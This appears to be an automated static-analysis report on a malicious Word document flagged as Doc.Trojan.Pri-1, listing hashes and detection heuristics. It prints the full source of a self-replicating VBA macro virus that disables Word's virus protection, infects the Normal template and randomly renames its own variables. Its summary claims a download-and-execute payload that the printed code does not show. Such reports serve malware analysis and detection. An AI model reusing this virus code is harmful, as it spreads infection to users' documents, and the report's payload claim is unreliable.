Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 61e4cbe66e2ec21d…

MALICIOUS

Office (OLE)

37.5 KB Created: 2001-05-31 12:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0d293e2ed8f942bcb3b99466701eea8f SHA-1: 9e47cfd931dcafdab1c117573c8cf52136a57a71 SHA-256: 61e4cbe66e2ec21da2dfadf8340286cc4f9c0f64d5c002f7fc33be105d76aeef
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OLE document containing VBA macros, specifically a Document_Open macro, which is a common technique for initial execution. The VBA code appears to be designed to download and execute a secondary payload, as indicated by the heuristic firings and the structure of the macro code. The presence of the 'macros.bas' file further supports this. The specific family is not identifiable from the provided evidence.

Heuristics 3

  • ClamAV: Doc.Trojan.Pri-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Pri-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11782 bytes
SHA-256: 7d088429185792d87599aad17f9eee230c1080de5271ea367235a56001960173
Detection
ClamAV: Doc.Trojan.Pri-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Options.ConfirmConversions = 0: Options.VirusProtection = 0: Options.SaveNormalPrompt = 0
If Day(Now) = Minute(Now) = 13 Then
Randomize: For x = 1 To 10
ActiveDocument.Shapes.AddShape(msoShapePentagon, Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500)).Select
Selection.ShapeRange.Fill.ForeColor.RGB = RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255))
Selection.ShapeRange.Fill.Visible = msoTrue
Selection.ShapeRange.Fill.Solid: Next x: End If
LC733 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
RN6729 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set PV172 = ActiveDocument.VBProject.VBComponents.Item(1)
TQ4964 = True
End If
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set PV172 = NormalTemplate.VBProject.VBComponents.Item(1)
QC8648 = True
Call TK9994_EG2622
ActiveDocument.Saved = True
End If
If QC8648 <> True And TQ4964 <> True Then GoTo RE1443
If QC8648 = True Then PV172.CodeModule.AddFromString ("Private Sub Document_Close()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, LC733 - 1) & vbCr & "Sub ViewVBCode" & vbCr & "End Sub")
If TQ4964 = True Then PV172.CodeModule.AddFromString ("Private Sub Document_Open" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, RN6729 - 3))
RE1443:
If RN6729 <> 0 And LC733 = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
Private Function TK9994_EG2622()
On Error Resume Next
Randomize
Dim r1(1 To 14) As String
r1(1) = "MG3675": r1(2) = "KM6854": r1(3) = "AJ9354": r1(4) = "AM669": r1(5) = "EG2622": r1(6) = "LC733"
r1(7) = "RN6729": r1(8) = "TQ4964":: r1(9) = "PV172": r1(10) = "QC8648": r1(11) = "RE1443": r1(12) = "TK9994": r1(13) = "IA4377": r1(14) = "OD4481"
For x = 1 To 14
a1 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 100) & Int(Rnd * 100)
Call EG2622(a1, r1(x))
Next x
End Function
Private Function EG2622(OD4481, IA4377 As String)
On Error Resume Next
Dim MG3675 As Long: Dim KM6854 As Long: Dim AJ9354 As Long: Dim AM669 As Long
With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
MG3675 = 1: KM6854 = 1: AJ9354 = .CountOfLines: AM669 = Len(.Lines(.CountOfLines, 1))
Do While .Find(IA4377, MG3675, KM6854, AJ9354, AM669, True)
strline = .Lines(MG3675, 1)
strline = Left(strline, KM6854 - 1) & OD4481 & Mid(strline, AM669)
.replaceline MG3675, strline
MG3675 = AJ9354 + 1: KM6854 = 1:
AJ9354 = .CountOfLines
AM669 = Len(.Lines(.CountOfLines, 1))
Loop
End With
End Function

Sub ViewVBCode()
End Sub
Sub ViewVBCode()
End Sub

' Processing file: /opt/analyzer/scan_staging/728ad212d3a64fc697de429f3b471ec8.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5519 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #3:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	Ld Now 
' 	ArgsLd Minute 0x0001 
' 	Eq 
' 	LitDI2 0x000D 
' 	Eq 
' 	IfBlock 
' Line #4:
' 	ArgsCall Read 0x0000 
' 	BoS 0x0000 
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x000A 
' 	For 
' Line #5:
' 	Ld msoShapePentagon 
' 	Ld Rnd 
' 	LitDI2 0x01F4 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x01F4 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x01F
... (truncated)